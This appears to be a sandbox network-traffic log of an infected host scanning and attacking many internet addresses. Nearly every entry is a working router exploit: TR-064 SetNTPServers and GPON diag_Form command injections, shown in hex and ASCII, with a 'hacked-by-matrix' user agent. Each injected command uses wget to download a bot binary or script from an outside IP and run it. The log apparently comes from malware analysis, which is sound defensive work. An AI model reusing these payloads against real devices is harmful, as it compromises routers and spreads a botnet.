Mar 21, 2024 05:18:50.842947006 CET	307	IN	HTTP/1.1 400 Bad Request Server: nginx Date: Thu, 21 Mar 2024 04:18:50 GMT Content-Type: text/html Content-Length: 150 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
1197	192.168.2.23	35914	179.155.232.174	7547

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:18:50.713197947 CET	734	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Mar 21, 2024 05:18:51.513279915 CET	734	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Mar 21, 2024 05:18:52.305654049 CET	734	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
1198	192.168.2.23	33326	178.2.169.125	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:18:51.323656082 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1199	192.168.2.23	39746	118.177.244.142	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:18:51.323690891 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1200	192.168.2.23	58316	37.118.17.46	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:18:51.323698997 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1201	192.168.2.23	35754	94.17.237.184	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:18:51.323766947 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1202	192.168.2.23	51340	212.123.156.126	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:18:51.323771954 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1203	192.168.2.23	46200	212.53.6.67	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:18:51.323818922 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1204	192.168.2.23	50156	109.42.137.226	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:18:51.323853970 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1205	192.168.2.23	51304	210.57.22.9	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:18:51.323895931 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1206	192.168.2.23	55308	178.121.150.37	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:18:51.323920965 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1207	192.168.2.23	36958	118.184.92.93	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:18:51.323982954 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1208	192.168.2.23	44616	42.223.52.158	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:18:51.324017048 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1209	192.168.2.23	47852	118.143.171.34	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:18:51.324031115 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1210	192.168.2.23	35600	2.2.194.209	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:18:51.324064016 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1211	192.168.2.23	34184	94.52.2.155	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:18:51.324099064 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1212	192.168.2.23	48476	210.108.70.233	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:18:51.324155092 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1213	192.168.2.23	46376	42.26.130.224	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:18:51.324198008 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1214	192.168.2.23	56432	109.192.227.46	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:18:51.324229956 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1215	192.168.2.23	58086	79.84.116.175	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:18:51.324248075 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1216	192.168.2.23	41840	118.24.47.21	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:18:51.324271917 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1217	192.168.2.23	44006	212.16.166.81	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:18:51.324352026 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1218	192.168.2.23	44600	118.46.11.218	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:18:51.324352026 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

